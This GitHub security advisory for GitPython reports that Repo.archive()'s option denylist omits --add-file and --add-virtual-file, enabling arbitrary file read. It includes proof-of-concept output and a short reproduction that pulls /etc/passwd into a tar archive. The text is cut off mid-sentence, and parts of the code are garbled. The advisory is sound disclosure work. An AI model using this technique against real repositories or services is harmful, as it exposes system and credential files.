GHSA-539m-9xh6-q6rr

GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive()

Published

2026-08-03

Modified

2026-08-03

Sources

github-advisory

Summary

**Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` ## Summary `Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**. ```python # git/repo/base.py:169 unsafe_git_archive_options = [ # Allows arbitrary command execution through the remote git-upload-archive command. "--exec", # Writes output to a caller-controlled filesystem path. "--output", "-o", ] ``` The comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path. `git archive` also accepts `--add-file= ` and `--add-virtual-file= ` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them: ``` $ grep -rniE "add.file|add_file" git/ git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring ``` Net effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink. ## Reachability proof (verified at the sink) `poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine: ``` -- CONTROL: options the denylist covers (expect BLOCKED) -- [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it. -- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) -- [ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes archive members: ['f.txt', 'gp_canary.txt'] >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345' >>> byte-for-byte match with the out-of-tree file: CONFIRMED -- also: --add-virtual-file (attacker-chosen name AND content) -- [ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes ``` The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran. Minimal reproduction: ```python import io, tarfile from git import Repo buf = io.BytesIO() Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd") print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames()) # [' ', 'passwd'] ` and reaches `git archive` unmodified. ## Direct precedent `GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *"Incomplete `unsafe_git_clone_options` denylist omits `--template`"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`. ## `--add-virtual-file` is the same gap pointing the other way `--add-virtual-file= ` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as

Affected packages

Remediation: Upgrade to 3.1.57 or later.

References

• https://github.com/advisories/GHSA-539m-9xh6-q6rr